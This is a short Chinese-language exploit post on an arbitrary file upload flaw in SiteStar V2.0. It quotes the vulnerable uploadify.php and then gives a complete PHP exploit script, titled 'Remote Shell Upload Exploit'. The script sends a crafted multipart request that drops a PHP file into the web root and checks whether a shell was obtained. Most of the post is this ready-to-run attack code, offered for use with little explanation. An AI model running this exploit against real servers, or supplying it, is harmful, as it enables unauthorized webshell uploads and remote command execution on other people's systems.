SiteStar V2.0没有正确限制文件的上传，远程攻击者可能利用此漏洞上传任意文件到Web目录，最终导致在服务器上执行任意命令。

漏洞产生在 /script/multiupload/uploadify.php文件：
<?php
if (!empty($_FILES)) {
 $tempFile = $_FILES['Filedata']['tmp_name'];
 $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_POST['folder'] . '/';
 $targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
   // 解决Windows中文文件名乱码
 if (preg_match("/^WIN/i", PHP_OS)) {
  $targetFile = iconv('UTF-8', 'GBK', $targetFile);
 }
 move_uploaded_file($tempFile, $targetFile);
 echo "1";
}
?>

没什么好说的，低级失误。通过构造html表单可直接上传webshell至web目录，下面提供一段测试代码。EXP：

<?
print_r('
+---------------------------------------------------------------------------+
SiteStar V2.0 Remote Shell Upload Exploit 
+---------------------------------------------------------------------------+
');
if ($argc < 3)
{ 
    print "\nUsage: php $argv[0] host path\n"; 
    print "Example: php $argv[0] localhost /sitestar/\n";   
    die(); 
}
error_reporting(0); 
set_time_limit(0); 
$host = $argv[1];
$path = $argv[2];
$shell = 'http://'.$host.$path.'cnryan.php';
    $payload  = "-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"cnryan.php\"\r\n";
    $payload .= "Content-Type: application/octet-stream\r\n\r\n";
    $payload .= "<?php phpinfo();?>W.S.T\r\n-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"upload\"\r\n\r\n\r\n";
    $payload .= "-----cnryan\r\n";
    $payload .= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n";
    $payload .= "$path\r\n";
    $payload .= "-----cnryan--";      
    $packet  = "POST {$path}/script/multiupload/uploadify.php HTTP/1.0\r\n"; 
    $packet .= "Host: {$host}\r\n";  
    $packet .= "Connection: keep-alive\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=---cnryan\r\n"; 
    $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n"; 
    $packet .= $payload; 
$fp = fsockopen($host, 80);
    fputs($fp, $packet);

   sleep(5);
   $str=file_get_contents($shell);
if(strpos($str,'W.S.T')) 
    exit("OK! Got shell:\t$shell\n");
else
    exit("Exploit Failed!\n");
?>